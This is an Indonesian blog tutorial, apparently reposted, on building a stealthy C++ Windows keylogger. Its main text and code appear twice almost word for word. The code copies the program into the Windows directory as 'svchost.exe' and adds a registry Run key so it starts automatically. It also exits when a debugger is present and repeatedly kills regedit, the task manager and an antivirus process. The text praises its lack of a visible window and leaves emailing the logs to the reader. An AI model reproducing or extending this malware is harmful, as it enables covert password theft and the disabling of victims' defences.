Apa itu keylogger?
Mungkin dibeberapa artikel disini telah dibahas apa itu keylogger,namun untuk lebih jelasnya,saya coba jelaskan sekali lagi ya =)
Keylogger atau Perekam Ketikan
merupakan sebuah perangkat baik itu perangkat keras atau perangkat
lunak yang digunakan untuk memantau penekanan tombol papan ketik
[keyboard]. Sebuah perekam ketikan atau keylogger biasanya akan
menyimpan hasil pemantauan penekanan tombol papan ketik tersebut ke
dalam sebuah berkas catatan (log file). Beberapa perekam ketikan
tertentu bahkan dapat mengirimkan hasil rekamannya ke surel [e-mail]
tertentu secara berkala.
Keylogger dapat digunakan untuk kepentingan yang baik atau bahkan bisa digunakan untuk kepentingan yang jahat. Kepentingan yang baik antara lain untuk memantau produktivitas karyawan, untuk penegakan hukum dan pencarian bukti kejahatan. Kepentingan yang buruk antara lain pencurian data dan password. (wikipedia)
Beberapa kelebihan keylogger pada artikel ini?
Oke, setelah anda download, bisa anda coba atau me-rebuild ulang projek tersebut. Saya asumsikan keylogger sudah berfungsi dan anda memahaminya, LOG file yang dibuat tidak serapih LOG file keylogger master MrHpx, sehingga anda bisa memodifikasi lagi sesuai keinginan anda.
Lanjut ke tahap pembuatan fungsi lainnya untuk membuat keylogger yang lebih powerfull
AutoStartup dan Self Copy
Untuk menambahkan fungsi autostartup,kita menggunakan fungsi sebagai berikut untuk mengakses dan menulis key pada registry:
//registry
char myname[500],tmpdir[500];
HKEY hKey;
DWORD dwFlags;
//========================
extern int __argc;
extern char **__argv;
ATOM MyRegisterClass(HINSTANCE hInstance);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int pHookCode, WPARAM pParamW, LPARAM pParamL);
//EP section
//registry function
void RegWriteString(HKEY hKey, LPCTSTR lpSubKey, LPCTSTR lpValueName, LPCTSTR lpData)
{
int ret = 0;
HKEY phkResult = (HKEY)malloc(255);
ret = RegCreateKey(hKey, lpSubKey, &phkResult);
ret = RegSetValueEx(phkResult, lpValueName, 0, REG_SZ, (BYTE*)lpData, strlen(lpData));
RegCloseKey(hKey);
return;
}
Contoh Penggunaan AutoStartup:
Mendapatkan path asli dari keylogger, kemudian mencopy dirinya sendiri ke direktori windows dengan nama svchost kemudian membuat key untuk auto startup:
//create startup and copying files
char szCurrent[MAX_PATH];
char szPath[MAX_PATH];
GetModuleFileName(NULL,szCurrent, MAX_PATH-1);
GetWindowsDirectory(szPath, sizeof(szPath));
strcat(szPath, "\\");
strcat(szPath,"svchost.exe");
CopyFile(szCurrent, szPath, true);
RegWriteString(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\Currentversion\\Run", "svchost system", szPath);
Anti Debug
// Jika didebug, maka akan keluar
if(IsDebuggerPresent() == TRUE)
ExitProcess(0);
Monitoring proses aktif dan melakukan aksi kill proses yang dianggap membahayakan keylogger
Preprocessor
#include tlhelp32.h
Deklarasi Variabel
DWORD WINAPI terminator(LPVOID Param);
DWORD id = 0;
Fungsi Proses killer
//fungsi proses killer
HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32;
void KillProc(char * szProcess)
{
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe32.dwSize = sizeof(PROCESSENTRY32);
Process32First(hProcessSnap, &pe32);
//lakukan pengulangan sampai dapat :D
while(Process32Next(hProcessSnap, &pe32))
{
if(!strcmp(pe32.szExeFile, szProcess))
{
hProcess = OpenProcess(PROCESS_TERMINATE, 0, pe32.th32ProcessID);
TerminateProcess(hProcess, 0);
}
}
CloseHandle(hProcess);
CloseHandle(hProcessSnap);
}
Pengunaan killer proses
//killer proses
DWORD WINAPI terminator(LPVOID Param)
{
while(1)
{
Sleep(1000);
KillProc("regedit.exe");
KillProc("taskman.exe");
KillProc("PCMAV.exe");
}
return EXIT_SUCCESS;
}
Membuat thread baru untuk menjalankan fungsi monitoring dan killer proses:
CreateThread(NULL, 0, &terminator, NULL, 0, &id);
Oia fungsi tersebut, tulis di main.cpp..
Mengapa tidak membuat file .cpp baru dan menulis fungsi di file tsb? Hemmm.. Karena pada DevC++, pewarisan kelas membuat size program anda membengkak 100%. Entah mengapa, tidak seperti visual c++ buatan microsoft yang sudah dibekali optimasi pada kompilernya.
Mungkin dari anda, ada yang bertanya. Bagaimana dengan fungsi send lognya via e-mail? Owh itu tergantung kreativitas anda. Banyak referensinya..
Mungkin dibeberapa artikel disini telah dibahas apa itu keylogger,namun untuk lebih jelasnya,saya coba jelaskan sekali lagi ya =)
Keylogger dapat digunakan untuk kepentingan yang baik atau bahkan bisa digunakan untuk kepentingan yang jahat. Kepentingan yang baik antara lain untuk memantau produktivitas karyawan, untuk penegakan hukum dan pencarian bukti kejahatan. Kepentingan yang buruk antara lain pencurian data dan password. (wikipedia)
Beberapa kelebihan keylogger pada artikel ini?
- Keylogger berbasis API,full written in C++,mudah dikembangkan.
- Size keylogger yang relatif kecil, hanya 20-30 KB tanpa dikompresi.
- Mempunyai fitur self copy,auto startup,memonitoring proses yang aktif dan mengakhiri proses yang dapat membahayakan keylogger
- Tidak mempunyai GUI, sehingga tidak tampak di Tab App pada task manager
- No dependency, tidak usah membawa “beban” seperti keylogger yang dibuat dengan VB classic
- Silahkan ditambah sendiri
Oke, setelah anda download, bisa anda coba atau me-rebuild ulang projek tersebut. Saya asumsikan keylogger sudah berfungsi dan anda memahaminya, LOG file yang dibuat tidak serapih LOG file keylogger master MrHpx, sehingga anda bisa memodifikasi lagi sesuai keinginan anda.
Lanjut ke tahap pembuatan fungsi lainnya untuk membuat keylogger yang lebih powerfull
AutoStartup dan Self Copy
Untuk menambahkan fungsi autostartup,kita menggunakan fungsi sebagai berikut untuk mengakses dan menulis key pada registry:
//registry
char myname[500],tmpdir[500];
HKEY hKey;
DWORD dwFlags;
//========================
extern int __argc;
extern char **__argv;
ATOM MyRegisterClass(HINSTANCE hInstance);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int pHookCode, WPARAM pParamW, LPARAM pParamL);
//EP section
//registry function
void RegWriteString(HKEY hKey, LPCTSTR lpSubKey, LPCTSTR lpValueName, LPCTSTR lpData)
{
int ret = 0;
HKEY phkResult = (HKEY)malloc(255);
ret = RegCreateKey(hKey, lpSubKey, &phkResult);
ret = RegSetValueEx(phkResult, lpValueName, 0, REG_SZ, (BYTE*)lpData, strlen(lpData));
RegCloseKey(hKey);
return;
}
Contoh Penggunaan AutoStartup:
Mendapatkan path asli dari keylogger, kemudian mencopy dirinya sendiri ke direktori windows dengan nama svchost kemudian membuat key untuk auto startup:
//create startup and copying files
char szCurrent[MAX_PATH];
char szPath[MAX_PATH];
GetModuleFileName(NULL,szCurrent, MAX_PATH-1);
GetWindowsDirectory(szPath, sizeof(szPath));
strcat(szPath, "\\");
strcat(szPath,"svchost.exe");
CopyFile(szCurrent, szPath, true);
RegWriteString(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\Currentversion\\Run", "svchost system", szPath);
Anti Debug
// Jika didebug, maka akan keluar
if(IsDebuggerPresent() == TRUE)
ExitProcess(0);
Monitoring proses aktif dan melakukan aksi kill proses yang dianggap membahayakan keylogger
Preprocessor
#include tlhelp32.h
Deklarasi Variabel
DWORD WINAPI terminator(LPVOID Param);
DWORD id = 0;
Fungsi Proses killer
//fungsi proses killer
HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32;
void KillProc(char * szProcess)
{
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe32.dwSize = sizeof(PROCESSENTRY32);
Process32First(hProcessSnap, &pe32);
//lakukan pengulangan sampai dapat :D
while(Process32Next(hProcessSnap, &pe32))
{
if(!strcmp(pe32.szExeFile, szProcess))
{
hProcess = OpenProcess(PROCESS_TERMINATE, 0, pe32.th32ProcessID);
TerminateProcess(hProcess, 0);
}
}
CloseHandle(hProcess);
CloseHandle(hProcessSnap);
}
Pengunaan killer proses
//killer proses
DWORD WINAPI terminator(LPVOID Param)
{
while(1)
{
Sleep(1000);
KillProc("regedit.exe");
KillProc("taskman.exe");
KillProc("PCMAV.exe");
}
return EXIT_SUCCESS;
}
Membuat thread baru untuk menjalankan fungsi monitoring dan killer proses:
CreateThread(NULL, 0, &terminator, NULL, 0, &id);
Oia fungsi tersebut, tulis di main.cpp..
Mengapa tidak membuat file .cpp baru dan menulis fungsi di file tsb? Hemmm.. Karena pada DevC++, pewarisan kelas membuat size program anda membengkak 100%. Entah mengapa, tidak seperti visual c++ buatan microsoft yang sudah dibekali optimasi pada kompilernya.
Mungkin dari anda, ada yang bertanya. Bagaimana dengan fungsi send lognya via e-mail? Owh itu tergantung kreativitas anda. Banyak referensinya..
![[Image: 1265594133.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s64QWUy1pn1cyKnO3MOK6_caCwp98kaRHGQ9VA-daRrDp1xQn7Vbp7qvl3ew4rsGtuvHhR4gyH9q5AgWQHNwutueUMV4ZruUHDEdK8BFOY3M4twkpjM6I=s0-d)
![[Image: 527321_2577624538215_1782439983_1567649_...jpg gambar]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vf4JNvORJ_2TyfL-jfvIreFIYnIpeak_vuWljNQ8C15yEtPIjCTh_J8DVRl8gxGzmpTWODaFNtPnQ3gf9lDRPkplMJidpPQxaIoviYFDwI2gvst3va6cP9c-4S0L-I1lSoGpBhsyZuWLT3ZTUsdGZvPrPV92AUY0mXxqyJIwXnMDv0u5RndIaPOn0pmVrdX37AOwsVFKt5tG0=s0-d)
![[Image: 561277_2577624098204_1782439983_1567648_...jpg gambar]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vqMSJrhbL7VrYRBWhi9v5F99CQEE9TQ0SP15d4VgTGLSL4mDwf8_DjyHkgtfFv1iHYMTVRrIcBc27cmcTKhRItjXFBizue-LrHXUq2ZlYuq_DOq4ke_p7nbvWENE3M8Ty2aOrzHdm_I2bk-1w8oeU1lDRnzUO-D8NIaVmwBynKXASBRG6DYfjUagnch2EByeKOND_sDgG5AfW4mw=s0-d)
![[Image: 1.JPG]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpTnt1GSx41dDkYqeoJ538_RBdiV-tbHBX33-qFGHkdfD3rTWMoeXyq3AUt1pF04eSC2-KcLak60pNN2hIIHYdisCD8ndL-wF5u_rT5vyxhBEiwKGPCdjd3YkjzNVlu6cJanU2PH1Dts5v/s400/1.JPG)
![[Image: 2.JPG]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4PYinx1gWT6bP2uldJ34SiLEFFshQ6vsBzyh5WnbJfVl8lY2I-mddOywXukeHzAH2cMTLVumggI86aMMNvATGvQSO77CdcuMzuRoxfnQVABrEmOjU5LEPKKXBdQXor3VLYa0RuFmE0MDC/s400/2.JPG)
![[Image: 3.JPG]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiD7Un9HJxcfo1Yo2akWxf9QYT8AMdlHRKiNF-gOTTY7-75KVS2pBBVPrtBhyQsl1nWIDGZcKIJExQRCViA1AvlVVq0dTpEw24aRKUIPal8f0wS3TWoBq9tdvri5FbSVuw_YEf2YrWqgLWX/s400/3.JPG)
![[Image: 4.JPG]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrjsbOftlGGWoJW7nawycV7M42F_jpmoF0YrZHuFj56gOJDltg3XS5_32uhQl2DijZOAIIAHawTHN35ySxns5newOZ3X4TGmOjpv8piOGMqovWOOZ99Mfw1ClgOxejFj100_p36K4bdXNQ/s320/4.JPG)
![[Image: 5.JPG]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOQ0sUVQTfJntAMaKHLmO1l0chOrtvyHpPRSyzWvJeIVRDMKNmD8X5qrMxU-42BvqOeAmIwKPicq14AAa-DpwpCLZf1W1Re5CDGo5IOdX2xKlgEW9TD1lUHgzx56mgTwDcg7WFetujh4f7/s400/5.JPG)
![[Image: untitled.JPG]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSbQvP9a0niR6AfnhcDVERhkvBRhozwRd7UX4AmfJxlh8HHnkURt44vGpIgDxoYc-8w5kafH1lVmt8bWV-Wg-ucUkMvZlO4Lvddua9kpDYGoaYw7c_8tyXFqzFudeShipqY3cML5LPqCQM/s400/untitled.JPG)
![[Image: 7.JPG]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrKOhyphenhyphen7aCwTmHGWPOJjAsef3nebnmDUD3khLD2tGFkFNowz_KS6qa0jzkf3pJ7Ryl7y7mLp_fJ8ieQ7DXc2zCubPQ0OFumpM00VZxM2zMu1_VsQbPKpZ4Yb_yfFTULsnfiD2hI5sFaILVF/s400/7.JPG)
![[Image: 8.JPG]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDiLsuclC4yTFCzKQZkiWbnIs9cKqnugNDAA1xX_p4ps4TFW5nNZsFf_NTrWbve_LxnhGEj1_rgu9Sf5bLol1gTtaJm2NKRIprH6G4wdWSYElgGJvF4tPEB8Z9h8qxSgfBjTj7fSlDEGV1/s400/8.JPG)
